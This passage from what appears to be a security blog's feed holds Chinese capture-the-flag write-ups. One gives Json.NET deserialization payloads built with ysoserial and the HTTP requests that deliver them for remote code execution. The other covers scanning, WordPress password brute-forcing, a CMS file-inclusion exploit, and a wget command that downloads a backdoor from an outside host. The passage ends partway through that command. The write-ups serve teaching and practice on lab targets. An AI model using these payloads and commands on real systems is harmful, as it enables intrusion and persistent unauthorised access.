    MetadataPropertyHandling = MetadataPropertyHandling.ReadAhead
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);</code></pre><p>&#x5617;&#x8A66;&#x57F7;&#x884C;&#x4EE5;&#x4E0A;&#x7A0B;&#x5F0F;&#x78BC;&#x5F8C;&#xFF0C;&#x6210;&#x529F;&#x5F48;&#x51FA;&#x8A08;&#x7B97;&#x6A5F;&#xFF01;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2023/09/image.png" class="kg-image" alt loading="lazy" width="1118" height="599" srcset="https://cyku.tw/content/images/size/w600/2023/09/image.png 600w, https://cyku.tw/content/images/size/w1000/2023/09/image.png 1000w, https://cyku.tw/content/images/2023/09/image.png 1118w" sizes="(min-width: 720px) 720px"></figure><p>&#x65E2;&#x7136;&#x9A57;&#x8B49;&#x6B64;&#x8A2D;&#x5B9A;&#x662F;&#x53EF;&#x4EE5; exploit &#x7684;&#xFF0C;&#x5269;&#x4E0B;&#x5C31;&#x662F;&#x5305;&#x88DD;&#x4E00;&#x500B;&#x61C9;&#x7528;&#x7A0B;&#x5F0F;&#x7684;&#x60C5;&#x5883;&#xFF0C;&#x800C;&#x6700;&#x7D42;&#x8D95;&#x51FA;&#x7684;&#x6210;&#x54C1;&#x5C31;&#x662F; My todolist &#x9019;&#x9053;&#x984C;&#x76EE;&#x3002;</p><p>&#x7406;&#x8AD6;&#x4E0A;&#x76F4;&#x63A5;&#x4F7F;&#x7528; RolePrincipal &#x5C31;&#x80FD;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x4E86;&#xFF0C;&#x53EA;&#x662F;&#x9019;&#x500B; exploit &#x57F7;&#x884C;&#x5F8C;&#x4E0D;&#x6703;&#x6709;&#x4EFB;&#x4F55;&#x6307;&#x4EE4;&#x56DE;&#x986F;&#xFF0C;&#x800C;&#x6211;&#x5011;&#x9084;&#x9700;&#x8981;&#x5617;&#x8A66;&#x627E;&#x5230;&#x4E26;&#x8B80;&#x53D6; flag&#xFF0C;&#x70BA;&#x4E86;&#x5F8C;&#x7E8C;&#x66F4;&#x4FBF;&#x5229;&#x64CD;&#x4F5C;&#xFF0C;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x5617;&#x8A66;&#x5C07;&#x6F0F;&#x6D1E;&#x8F49;&#x63DB;&#x6210; web shell&#xFF0C;&#x8A73;&#x7D30;&#x53EF;&#x4EE5;&#x53C3;&#x8003;&#x6211;&#x7684;&#x53E6;&#x4E00;&#x7BC7;&#x6587;&#x7AE0;&#x300C;<a href="https://cyku.tw/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/">&#x73A9;&#x8F49; ASP.NET VIEWSTATE &#x53CD;&#x5E8F;&#x5217;&#x5316;&#x653B;&#x64CA;&#x3001;&#x5EFA;&#x7ACB;&#x7121;&#x6A94;&#x6848;&#x5F8C;&#x9580;&#xFF01;</a>&#x300D;&#xFF0C;&#x4F46;&#x9019;&#x500B;&#x65B9;&#x6CD5;&#x7684; gadget &#x662F;&#x9700;&#x8981;&#x4F7F;&#x7528; BinaryFormatter &#x57F7;&#x884C; OnDeserialization callback &#x9032;&#x800C;&#x89F8;&#x767C; gadget chain &#x7684;&#x57F7;&#x884C;&#xFF0C;&#x4F46;&#x5982;&#x679C;&#x4F60;&#x6709; clone &#x6700;&#x65B0;&#x7248;&#x672C;&#x7684; ysoserial.net &#x4F86;&#x81EA;&#x884C;&#x7DE8;&#x8B6F;&#x7684;&#x8A71;&#xFF0C;&#x6703;&#x767C;&#x73FE; help &#x8A0A;&#x606F;&#x4E2D;&#x591A;&#x4E86;&#x4E00;&#x500B;&#x65B0;&#x7684;&#x53C3;&#x6578; --bgc&#x3002;</p><pre><code>--bgc, --bridgedgadgetchains=VALUE
    Chain of bridged gadgets separated by comma (,). 
      Each gadget will be used to complete the next 
      bridge gadget. The last one will be used in the 
      requested gadget. This will be ignored when 
      using the searchformatter argument.</code></pre><p>&#x6C92;&#x932F;&#xFF0C;&#x70BA;&#x9019;&#x500B;&#x5C08;&#x6848;&#x8CA2;&#x737B;&#x7684;&#x7814;&#x7A76;&#x8005;&#x5011;&#x6210;&#x529F;&#x627E;&#x5230; gadget chain &#x5BE6;&#x73FE;&#x5C07; Json.NET &#x7B49;&#x9700;&#x8981; setter &#x985E;&#x578B;&#x7684; gadget &#x7684; formatter &#x8F49;&#x63DB;&#x6210; BinaryFormatter &#x7684;&#x4E8C;&#x6B21;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#xFF0C;&#x5F9E;&#x800C;&#x53EF;&#x4EE5;&#x57F7;&#x884C;&#x66F4;&#x591A;&#x7684; gadget&#xFF0C;&#x5176;&#x4E2D;&#x7576;&#x7136;&#x5C31;&#x5305;&#x62EC; &#xA0;ActivitySurrogateDisableTypeCheck &#x548C; ActivitySurrogateSelectorFromFile &#x9019;&#x5169;&#x500B;&#x6700;&#x91CD;&#x8981;&#x7684; gadget&#xFF0C;&#x6211;&#x5011;&#x4E5F;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x518D;&#x6B21;&#x4F7F;&#x7528;&#x9019;&#x500B;&#x529F;&#x80FD;&#x5BE6;&#x73FE;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x653B;&#x64CA;&#x5230; fileless webshell &#x7684; exploit&#xFF01;</p><p>&#x7522;&#x751F; payload &#x7684;&#x6307;&#x4EE4;&#xFF1A;</p><pre><code>ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateDisableTypeCheck -c 1
 
ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateSelectorFromFile -c &quot;.\ExploitClass.cs;dlls\System.dll;dlls\System.Web.dll&quot;
 </code></pre><p>&#x6700;&#x5F8C;&#x984C;&#x76EE;&#x53EA;&#x8981;&#x5728;&#x6B63;&#x5E38;&#x8A3B;&#x518A;&#x5F8C;&#x96A8;&#x4FBF;&#x65B0;&#x589E;&#x4E00;&#x500B; note &#x9032;&#x884C;&#x4FEE;&#x6539;&#xFF0C;&#x518D;&#x5206;&#x5225;&#x5C0D;&#x5169;&#x500B; payload &#x57F7;&#x884C;&#x4E00;&#x6B21;&#x985E;&#x4F3C;&#x4E0B;&#x9762;&#x7684;&#x8ACB;&#x6C42;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x9054;&#x6210;&#x6709;&#x56DE;&#x986F;&#x7684; RCE &#x4E86;&#xFF01;</p><p>Request 1:</p><pre><code>POST /Api/UpdateTodo HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
Cookie: &lt;session&gt;

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&amp;field=$type&amp;value=System.Web.Security.RolePrincipal,+System.Web,+Version%3d4.0.0.0,+Culture%3dneutral,+PublicKeyToken%3db03f5f7f11d50a3a</code></pre><p>Request 2:</p><pre><code>POST /Api/UpdateTodo HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
Cookie: &lt;session&gt;

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&amp;field=System.Security.ClaimsPrincipal.Identities&amp;value=&lt;payload&gt;</code></pre><p>Request 3:</p><pre><code>POST /Api/MyProfile HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Cookie: &lt;session&gt;

cmd=whoami</code></pre><p></p><p>&#x6B64;&#x7BC7;&#x6587;&#x7AE0;&#x540C;&#x6642;&#x767C;&#x8868;&#x65BC;&#xFF1A;<a href="https://devco.re/blog/2023/09/18/hitcon-2023-devcore-wargame-my-todolist-writeup/">DEVCORE Blog</a></p>]]></content:encoded></item><item><title><![CDATA[Playing RedTeam wargame in HITCON 2022  (created by 逢甲黑客社x台科資安社)]]></title><description><![CDATA[<p>&#x9019;&#x6B21;&#x53C3;&#x52A0; HITCON PEACE 2022 &#x8DEF;&#x904E;&#x9022;&#x7532;&#x9ED1;&#x5BA2;&#x793E;x&#x53F0;&#x79D1;&#x8CC7;&#x5B89;&#x793E;&#x7684;&#x6524;&#x4F4D;&#x6642;&#xFF0C;&#x767C;&#x73FE;&#x4ED6;&#x5011;&#x4ECA;&#x5E74;&#x6E96;&#x5099;&#x7684; wargame &#x88E1;&#x6709;&#x4E00;&#x500B; Red Team &#x985E;&#x5225;&#x7684;&#x984C;&#x7D44;&#xFF0C;&#x6709;&#x4E09;&#x53F0;</p>]]></description><link>https://cyku.tw/playing-redteam-wargame-in-hitcon-2022/</link><guid isPermaLink="false">630118b9fab954ace491f293</guid><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Sun, 21 Aug 2022 18:10:28 GMT</pubDate><content:encoded><![CDATA[<p>&#x9019;&#x6B21;&#x53C3;&#x52A0; HITCON PEACE 2022 &#x8DEF;&#x904E;&#x9022;&#x7532;&#x9ED1;&#x5BA2;&#x793E;x&#x53F0;&#x79D1;&#x8CC7;&#x5B89;&#x793E;&#x7684;&#x6524;&#x4F4D;&#x6642;&#xFF0C;&#x767C;&#x73FE;&#x4ED6;&#x5011;&#x4ECA;&#x5E74;&#x6E96;&#x5099;&#x7684; wargame &#x88E1;&#x6709;&#x4E00;&#x500B; Red Team &#x985E;&#x5225;&#x7684;&#x984C;&#x7D44;&#xFF0C;&#x6709;&#x4E09;&#x53F0;&#x4E3B;&#x6A5F;&#xFF0C;&#x7E3D;&#x5171;&#x6709;&#x56DB;&#x628A; flag&#xFF0C;&#x4E3B;&#x6A5F;&#x5305;&#x542B; Linux * 1&#x3001;Windows 10 (Workstation) * 1 &#x548C; Windows Server (Domain Controller) * 1&#xFF0C;&#x984C;&#x7D44;&#x8A2D;&#x8A08;&#x8981;&#x5F9E;&#x5916;&#x7DB2;&#x53EF;&#x9023;&#x7684; Linux &#x4E3B;&#x6A5F;&#x627E;&#x5230; Initial Access &#x5230; Local Privilege Escalation &#x5230; Lateral Movement &#x518D;&#x5230; Post-Exploitation &#x6253;&#x4E0B; Windows &#x4E3B;&#x6A5F;&#xFF0C;&#x4F9D;&#x5E8F;&#x62FF;&#x4E0B;&#x6240;&#x6709; flag&#xFF0C;&#x9019;&#x984C;&#x7D44;&#x592A;&#x5438;&#x5F15;&#x6211;&#x4E86;&#xFF01;&#x53EA;&#x597D;&#x958B;&#x73A9;&#xFF01;</p><!--kg-card-begin: markdown--><p>&#x984C;&#x76EE;&#x7E3D;&#x5171; 4 &#x628A; flag&#xFF0C;&#x6BCF;&#x4E00;&#x500B; flag &#x5176;&#x5BE6;&#x90FD;&#x6709;&#x5C0D;&#x61C9;&#x968E;&#x6BB5;&#x7684;&#x4EFB;&#x52D9;&#x76EE;&#x6A19;&#xFF0C;&#x5B8C;&#x6210;&#x5F8C;&#x5C31;&#x6703;&#x6709;&#x6B0A;&#x9650;&#x62FF;&#x5230;&#x4E00;&#x628A; flag&#xFF1A;</p>
<ol>
<li>PathNotFound local.txt
<ul>
<li>&#x5F9E;&#x5916;&#x7DB2;&#x5728; Linux &#x4E3B;&#x6A5F;&#x4E0A;&#x627E;&#x5230; Initial Access</li>
</ul>
</li>
<li>PathNotFound proof.txt
<ul>
<li>&#x5728; Liunx &#x4E3B;&#x6A5F;&#x4E0A; Privilege Escalation</li>
</ul>
</li>
<li>Old-ButGold proof.txt
<ul>
<li>&#x5F9E; Linux &#x4E3B;&#x6A5F;&#x4F5C; Lateral Movement &#x79FB;&#x52D5;&#x5230;&#x5167;&#x7DB2;&#x7684; Windows 10 &#x4E3B;&#x6A5F;</li>
</ul>
</li>
<li>DC-Final proof.txt
<ul>
<li>&#x5728; Windows 10 &#x4E3B;&#x6A5F;&#x4F5C; Post-Exploitation &#x5230;&#x53D6;&#x5F97; Windows Server (DC) &#x7684;&#x6B0A;&#x9650;</li>
</ul>
</li>
</ol>
<!--kg-card-end: markdown--><h2 id="1-pathnotfound-localtxt">1. PathNotFound local.txt</h2><p>&#x984C;&#x76EE;&#x6709;&#x8981;&#x6C42;&#x6211;&#x5011;&#x5148;&#x81EA;&#x884C;&#x5728; /etc/hosts &#x8A2D;&#x5B9A; www.pathnotfound.hitcon &#x865B;&#x69CB;&#x7DB2;&#x57DF;&#x6307;&#x5230;&#x5C0D;&#x61C9;&#x7684;&#x984C;&#x76EE;&#x4E3B;&#x6A5F; IP&#xFF0C;&#x8A2D;&#x5B9A;&#x5B8C;&#x5C31;&#x53EF;&#x4EE5;&#x5148;&#x4F7F;&#x7528;&#x8D77;&#x624B;&#x5F0F; nmap &#x6383;&#x63CF; port&#x3002;</p><pre><code>$ nmap -sT -sV -Pn -v www.pathnotfound.hitcon
Discovered open port 8080/tcp on www.pathnotfound.hitcon
Discovered open port 80/tcp on www.pathnotfound.hitcon
Discovered open port 3306/tcp on www.pathnotfound.hitcon</code></pre><p>&#x6383;&#x4E86;&#x8A31;&#x4E45;&#xFF0C;&#x767C;&#x73FE;&#x958B;&#x555F;&#x7684; port &#x6709;&#x5920;&#x5C11;&#xFF0C;&#x4F46;&#x81F3;&#x5C11;&#x6709; web &#x670D;&#x52D9;&#x53EF;&#x4EE5;&#x8B93;&#x8EAB;&#x70BA; web &#x72D7;&#x7684;&#x6211;&#x4EAB;&#x7528;&#xFF0C;&#x65BC;&#x662F;&#x8FEB;&#x4E0D;&#x53CA;&#x5F85;&#x5730;&#x5728;&#x700F;&#x89BD;&#x5668;&#x958B;&#x555F;&#x7DB2;&#x9801;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-1.png" class="kg-image" alt loading="lazy" width="706" height="415" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-1.png 600w, https://cyku.tw/content/images/2022/08/image-1.png 706w"></figure><p>&#x9019;&#x4E3B;&#x6A5F;&#x4E5F;&#x592A;&#x8106;&#x5F31;&#x4E86;&#x5427;&#xFF01;&#x624D;&#x6383;&#x4E00;&#x4E0B;&#x5C31;&#x6490;&#x4E0D;&#x4F4F;&#x4E86;&#xFF0C;&#x597D;&#x5427;&#xFF0C;&#x6211;&#x5C31;&#x5148;&#x901B;&#x4E00;&#x4E0B; twitter &#x7B49;&#x4ED6;&#x5FA9;&#x6D3B;&#xFF0C;&#x65BC;&#x662F;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-3.png" class="kg-image" alt loading="lazy" width="683" height="422" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-3.png 600w, https://cyku.tw/content/images/2022/08/image-3.png 683w"></figure><p>What the ..&#xFF0C;&#x539F;&#x4F86;&#x639B;&#x7684;&#x4E0D;&#x662F;&#x4ED6;&#x4E3B;&#x6A5F;&#xFF0C;&#x662F;&#x6211;&#x7684;&#x624B;&#x6A5F;&#x7DB2;&#x8DEF;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-2.png" class="kg-image" alt loading="lazy" width="259" height="194"></figure><p>&#x501F;&#x52A9;&#x5C0F;&#x7CBE;&#x9748;&#x7684;&#x529B;&#x91CF;&#xFF0C;&#x6211;&#x53D6;&#x5F97;&#x4E86; +9 &#x9AD8;&#x7D1A;&#x7DB2;&#x8DEF;&#xFF0C;&#x7D42;&#x65BC;&#x53EF;&#x4EE5;&#x958B;&#x59CB;&#x770B;&#x984C;&#x4E86;&#xFF0C;&#x9019;&#x6B21;&#x6383;&#x51FA;&#x4E86;&#x66F4;&#x591A;&#x7684; port&#xFF0C;&#x9084;&#x6709;&#x7591;&#x4F3C;&#x6709;&#x5DF2;&#x77E5;&#x5F31;&#x9EDE;&#x7684; 548 port &#x7684; Netatalk &#x670D;&#x52D9;&#xFF0C;&#x4F46;&#x73FE;&#x6210; exploit &#x6253;&#x4E0B;&#x53BB;&#x6C92;&#x6709;&#x53CD;&#x61C9;&#xFF0C;&#x4E0D;&#x6127;&#x662F;&#x6311;&#x6230;&#xFF0C;&#x679C;&#x7136;&#x6C92;&#x6709;&#x9019;&#x9EBC;&#x7C21;&#x55AE;&#xFF0C;&#x6B64;&#x6642;&#x984C;&#x76EE;&#x6558;&#x8FF0;&#x767C;&#x51FA;&#x4E86;&#x66F4;&#x65B0;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-4.png" class="kg-image" alt loading="lazy" width="348" height="103"></figure><p>OK&#x3002;</p><p>&#x56DE;&#x5230; 80 port &#x670D;&#x52D9;&#xFF0C;&#x767C;&#x73FE;&#x662F;&#x5B89;&#x88DD;&#x5728; Apache &#x4F3A;&#x670D;&#x5668;&#x4E0A;&#x7684; WordPress&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-5.png" class="kg-image" alt loading="lazy" width="901" height="568" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-5.png 600w, https://cyku.tw/content/images/2022/08/image-5.png 901w" sizes="(min-width: 720px) 720px"></figure><p>&#x65BC;&#x662F;&#x5148;&#x638F;&#x51FA; wpscan &#x795E;&#x5668;&#x958B;&#x59CB;&#x80CC;&#x666F;&#x6383;&#x63CF;&#xFF0C;&#x7528;&#x4E86;&#x4EE5;&#x4E0B;&#x6307;&#x4EE4;&#x958B;&#x6383;&#xFF0C;&#x53EF;&#x60DC;&#x6C92;&#x6709;&#x767C;&#x73FE;&#x7279;&#x5225;&#x7684; plugin&#xFF0C;&#x4F7F;&#x7528;&#x8005;&#x4E5F;&#x53EA;&#x6709; admin &#x4E00;&#x7D44;&#x5E33;&#x865F;&#x3002;</p><pre><code class="language-bash"># &#x5217;&#x8209;&#x4F7F;&#x7528;&#x8005;
wpscan --url http://www.pathnotfound.hitcon/ --disable-tls-checks --enumerate u

# &#x6383;&#x63CF;&#x5B89;&#x88DD;&#x7684; plugin
wpscan --url http://www.pathnotfound.hitcon/ --disable-tls-checks --plugins-detection aggressive --enumerate p</code></pre><p>&#x65E2;&#x7136;&#x5982;&#x6B64;&#xFF0C;&#x5C31;&#x7528;&#x5F31;&#x5BC6;&#x78BC;&#x5B57;&#x5178;&#x6A94;&#x9032;&#x884C;&#x66B4;&#x529B;&#x7834;&#x89E3;&#x8A66;&#x8A66;&#x3002;</p><pre><code class="language-bash">wpscan -U admin -P 10-million-password-list-top-10000.txt --url http://www.pathnotfound.hitcon/ --rua --password-attack xmlrpc</code></pre><p>&#x70BA;&#x4E86;&#x4E0D;&#x6D6A;&#x8CBB;&#x6642;&#x9593;&#xFF0C;&#x9023;&#x76EE;&#x9304;&#x4E5F;&#x4E00;&#x8D77;&#x6383;&#x4E86;&#xFF01;</p><pre><code class="language-bash">dirsearch -u http://www.pathnotfound.hitcon/ -w combined_directories.txt</code></pre><p>&#x904E;&#x4E86;&#x597D;&#x4E00;&#x9663;&#x5B50;&#x90FD;&#x6C92;&#x6709;&#x4EC0;&#x9EBC;&#x9032;&#x5C55;&#xFF0C;&#x770B;&#x8D77;&#x4F86;&#x904B;&#x6C23;&#x4E0D;&#x662F;&#x5F88;&#x597D;&#xFF0C;&#x6B64;&#x6642;&#x60F3;&#x8D77;&#x4E0D;&#x662F;&#x9084;&#x6709;&#x500B; 8080 &#x55CE;&#xFF1F;&#x99AC;&#x4E0A;&#x4F86;&#x770B;&#x4E00;&#x4E0B;</p><pre><code>HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html
Content-Length: 10918
Connection: close</code></pre><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-6.png" class="kg-image" alt loading="lazy" width="840" height="372" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-6.png 600w, https://cyku.tw/content/images/2022/08/image-6.png 840w" sizes="(min-width: 720px) 720px"></figure><p>&#x660E;&#x660E;&#x662F; Nginx &#x4F3A;&#x670D;&#x5668;&#xFF0C;&#x51FA;&#x73FE;&#x7684;&#x537B;&#x662F; Apache &#x7684;&#x9810;&#x8A2D;&#x9801;&#x9762;&#xFF01;&#xFF1F;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-7.png" class="kg-image" alt loading="lazy" width="229" height="113"></figure><p>&#x6839;&#x64DA;&#x6211;&#x7CBE;&#x6E5B;&#x7684;&#x63A8;&#x7406;&#xFF0C;&#x6216;&#x8A31;&#x984C;&#x76EE;&#x8A2D;&#x8A08;&#x662F;&#x5C07; Nginx &#x7684;&#x6839;&#x76EE;&#x9304;&#x6307;&#x5230; /var/www/html&#xFF0C;&#x800C; Apache &#x7684; WordPress &#x53EF;&#x80FD;&#x662F;&#x5B89;&#x88DD;&#x5728;&#x5176;&#x4E0B;&#x7684;&#x5B50;&#x8CC7;&#x6599;&#x593E; /var/www/html/xxxx&#xFF1F;&#x6216;&#x8A31; Nginx &#x6C92;&#x6709;&#x8A2D;&#x5B9A; php-fpm&#xFF1F;&#x6216;&#x8A31;&#x6211;&#x53EA;&#x8981;&#x627E;&#x5230;&#x6B63;&#x78BA;&#x7684;&#x8DEF;&#x5F91;&#x5C31;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x8B80;&#x5230; wp-config.php &#x6A94;&#x6848;&#x5167;&#x5BB9;&#xFF1F;&#x6216;&#x8A31; virtual host &#x85CF;&#x6709;&#x5176;&#x4ED6;&#x670D;&#x52D9;&#xFF1F;&#x7E3D;&#x4E4B;&#x5148;&#x731C;&#x518D;&#x8AAA;&#x3002;&#x65BC;&#x662F;&#x6211;&#x731C;&#x5440;&#x731C;&#x3001;&#x4E5F;&#x6383;&#x5440;&#x6383;&#xFF0C;&#x4F46;&#x90FD;&#x6C92;&#x6709;&#x4EFB;&#x4F55;&#x767C;&#x73FE;&#xFF0C;no luck QQ&#x3002;</p><pre><code class="language-plaintext">$ curl -I http://www.pathnotfound.hitcon:8080/www.pathnotfound.hitcon
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/www
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/pathnotfound.hitcon
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/wordpress
HTTP/1.1 404 Not Found
...

$ curl -I -H &apos;Host: www.pathnotfound.hitcon&apos; http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
$ curl -I -H &apos;Host: pathnotfound.hitcon&apos; http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
$ curl -I -H &apos;Host: localhost&apos; http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
...</code></pre><p>&#x9019;&#x6A23;&#x6F2B;&#x7121;&#x76EE;&#x7684;&#x901A;&#x9748;&#x4E0B;&#x53BB;&#x4F3C;&#x4E4E;&#x4E5F;&#x4E0D;&#x662F;&#x8FA6;&#x6CD5;&#xFF0C;&#x65BC;&#x662F;&#x6C7A;&#x5B9A;&#x53BB;&#x6524;&#x4F4D;&#x627E;&#x4F5C;&#x8005;&#x804A;&#x5929;&#xFF0C;&#x65E2;&#x7136;&#x984C;&#x76EE;&#x62DB;&#x724C;&#x5BEB;&#x8457; Red Team&#xFF0C;&#x793E;&#x4EA4;&#x4E00;&#x4E0B;&#x4E5F;&#x662F;&#x5408;&#x60C5;&#x5408;&#x7406;&#x7684;&#x5427;&#x3002;</p><p>&#x65BC;&#x662F;&#x5F97;&#x5230;&#x4E86;&#x4F86;&#x81EA;&#x4F5C;&#x8005;&#x7684;&#x6696;&#x5FC3;&#x63D0;&#x793A;&#xFF1A;&#x300C;&#x7B2C;&#x4E00;&#x984C;&#x53EA;&#x6709; 80 &#x53EF;&#x6253;&#xFF0C;&#x800C; WordPress &#x6C92;&#x6D1E;&#xFF0C;&#x4E0D;&#x904E;&#x5176;&#x5BE6;&#x9084;&#x85CF;&#x6709;&#x5176;&#x4ED6;&#x670D;&#x52D9;&#x300D;</p><p>OK&#xFF0C;&#x61C2;&#x4E86;&#x3002;</p><p>&#x53EC;&#x559A; Intruder &#x8207; subdomains-top1million-5000.txt &#x5B57;&#x5178;&#x6A94;&#x958B;&#x59CB;&#x6383; virtual host&#xFF0C;&#x7A0D;&#x7B49;&#x7247;&#x523B;&#x5F8C;&#xFF0C;&#x8CD3;&#x679C;&#xFF01;&#x6240;&#x8A00;&#x679C;&#x771F;&#x4E0D;&#x5047;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-8.png" class="kg-image" alt loading="lazy" width="862" height="547" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-8.png 600w, https://cyku.tw/content/images/2022/08/image-8.png 862w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>&#x76F4;&#x63A5;&#x62FF; ExploitDB &#x7684;&#x5DF2;&#x77E5;&#x6F0F;&#x6D1E; <a href="https://www.exploit-db.com/exploits/25971">Cuppa CMS - Local File Inclusion</a> &#x958B;&#x6253;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-9.png" class="kg-image" alt loading="lazy" width="943" height="590" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-9.png 600w, https://cyku.tw/content/images/2022/08/image-9.png 943w" sizes="(min-width: 720px) 720px"></figure><p>&#x53EF;&#x60DC;&#x73FE;&#x4EE3;&#x7248;&#x672C;&#x7684; PHP &#x4E0D;&#x592A;&#x53EF;&#x80FD;&#x958B; allow_url_include&#xFF0C;&#x597D;&#x5728;&#x9019;&#x4E26;&#x4E0D;&#x6703;&#x5F71;&#x97FF;&#x6211;&#x5011;&#xFF0C;&#x591A;&#x8667; CTFer &#x5011;&#x7684;&#x9ED1;&#x9B54;&#x6CD5;&#x79D1;&#x6280;&#xFF0C;&#x4E00;&#x884C; php:// wrapper &#x5492;&#x8A9E;&#x8B93; LFI &#x76F4;&#x63A5;&#x8B8A;&#x8EAB;&#x6210; RCE&#x3002;</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://cyku.tw/content/images/2022/08/image-10.png" class="kg-image" alt loading="lazy" width="973" height="376" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-10.png 600w, https://cyku.tw/content/images/2022/08/image-10.png 973w"></figure><p>Reference: <a href="https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT">https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT</a></p><p>&#x9806;&#x5E36;&#x4E00;&#x63D0;&#xFF0C;&#x8CFD;&#x5F8C;&#x548C;&#x4F5C;&#x8005;&#x804A;&#x5929;&#x6642;&#x5F97;&#x77E5;&#xFF0C;&#x9810;&#x671F;&#x89E3;&#x5176;&#x5BE6;&#x662F;&#x8981;&#x8B80;&#x5E33;&#x5BC6;&#x5F8C;&#x767B; MySQL &#x6539; WordPress &#x7BA1;&#x7406;&#x54E1;&#x5BC6;&#x78BC;&#xFF0C;&#x518D;&#x7528; theme editor &#x5BEB; webshell &#x7B49;&#x5F88;&#x591A;&#x500B;&#x6B65;&#x9A5F;&#xFF0C;&#x5247;&#x662F;&#x53E6;&#x5916;&#x4E00;&#x500B;&#x6545;&#x4E8B;&#x4E86;&#x3002;</p><p>&#x7E3D;&#x4E4B;&#x7D42;&#x65BC;&#x5F97;&#x5230;&#x7B2C; 1 &#x628A; flag&#xFF0C;&#x904A;&#x6232;&#x7D42;&#x65BC;&#x624D;&#x7B97;&#x662F;&#x6B63;&#x5F0F;&#x958B;&#x59CB;&#x3002;</p><pre><code class="language-text">$ cat /home/meow/local.txt
NTUST-ISC{0m9_Y0u_FiNd_7H3_rI9h7_P47h}</code></pre><h2 id="2-pathnotfound-prooftxt">2. PathNotFound proof.txt</h2><p>&#x65E2;&#x7136;&#x662F; Red Team &#x7576;&#x7136;&#x5C11;&#x4E0D;&#x4E86;&#x90E8;&#x7F72;&#x4E00;&#x500B;&#x5F8C;&#x9580;&#x7A0B;&#x5F0F;&#xFF0C;&#x6700;&#x8B93;&#x4EBA;&#x8208;&#x596E;&#x7684;&#x83AB;&#x904E;&#x65BC;&#x4F7F;&#x7528;&#x81EA;&#x5DF1;&#x88FD;&#x4F5C;&#x7684;&#x7A0B;&#x5F0F;&#x4E86;&#xFF01;&#x5982;&#x679C;&#x4F60;&#x6C92;&#x770B;&#x904E;&#x6211;&#x5BEB;&#x7684; tsh-go&#xFF0C;&#x73FE;&#x5728;&#x8B93;&#x4F60;&#x770B;&#x770B;&#xFF1A;</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/CykuTW/tsh-go"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - CykuTW/tsh-go: Tiny SHell Go - An open-source backdoor written in Go</div><div class="kg-bookmark-description">Tiny SHell Go - An open-source backdoor written in Go - GitHub - CykuTW/tsh-go: Tiny SHell Go - An open-source backdoor written in Go</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">CykuTW</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/26b403674f9fbd9b197d5eb77245251ba371f912b7930299dd7456fef5d30328/CykuTW/tsh-go" alt></div></a></figure><p>&#x4E00;&#x884C;&#x6307;&#x4EE4;&#x4E0A;&#x7DDA;&#xFF0C;&#x7ACB;&#x523B;&#x6536;&#x5230;&#x5F8C;&#x9580;&#x53CD;&#x5411;&#x7684;&#x9023;&#x7DDA;&#xFF0C;&#x5177;&#x5099;&#x6709;&#x5B8C;&#x6574; pty &#x53EF;&#x4EE5;&#x64CD;&#x4F5C;&#xFF0C;&#x771F;&#x662F;&#x592A;&#x8208;&#x596E;&#x4E86;&#xFF01;</p><pre><code class="language-text">$ cd /tmp;wget http://cyku.tw:8080/tshd -O tshd; chmod +x 